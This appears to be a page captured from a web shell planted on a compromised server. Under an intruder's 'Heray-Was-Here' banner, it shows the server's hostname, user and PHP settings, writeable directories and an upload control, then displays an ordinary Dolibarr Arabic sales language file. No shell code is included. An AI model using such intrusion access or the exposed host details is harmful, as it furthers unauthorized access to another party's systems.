Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/ar_EG/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/ar_EG/commercial.lang
# Dolibarr language file - Source file is en_US - commercial
Customers=عملاء
Prospects=فرص
DeleteAction=حذف الحدث
AddAction=عمل حدث
AddAnAction=عمل حدث
AddActionRendezVous=تحديد مقابلة
ConfirmDeleteAction=هل انت واثق من حذف هذا الحدث؟
CardAction=كارتة حدث
TaskRDVWith=مقابلة مع %s
ShowTask=إفتح المهمة
ShowAction=إفتح الحدث
ActionsReport=تقرير الاحداث
ThirdPartiesOfSaleRepresentative=الجهات الخارجية و ممثلي المبيعات
SaleRepresentativesOfThirdParty=ممثلي المبيعات عن الجهة الخارجية
SalesRepresentative=ممثل المبيعات
SalesRepresentatives=ممثلي المبيعات
SalesRepresentativeFollowUp=ممثل المبيعات (متبعة)
SalesRepresentativeSignature=ممثلي المبيعات (الامضاء)
NoSalesRepresentativeAffected=لا يوجد ممثل مبيعات محدد
ShowCustomer=إفتح العميل
ShowProspect=إفتح الفرصة
ListOfProspects=قائمة الفرص
LastDoneTasks=أحدث %s خطوات مكتملة
LastActionsToDo=أقدم %s خطوات غير مكتملة
DraftPropals=مسودة العروض التجارية

Hry